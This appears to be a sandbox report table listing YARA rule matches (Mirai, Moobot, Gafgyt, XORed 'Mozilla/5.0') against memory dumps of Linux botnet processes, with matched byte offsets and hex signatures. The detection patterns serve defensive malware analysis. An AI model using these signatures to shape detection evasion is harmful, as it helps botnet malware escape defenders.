6535.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7231.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6340.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6340.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6340.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6272.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6272.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6272.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6340.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6340.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6340.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6272.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6272.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6272.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6826.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6990.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6990.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6990.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6990.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6990.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6990.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7424.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7424.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7424.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7424.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7424.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7424.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7283.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7283.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7283.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7283.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7283.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7283.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7300.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7300.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7300.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7300.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7300.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
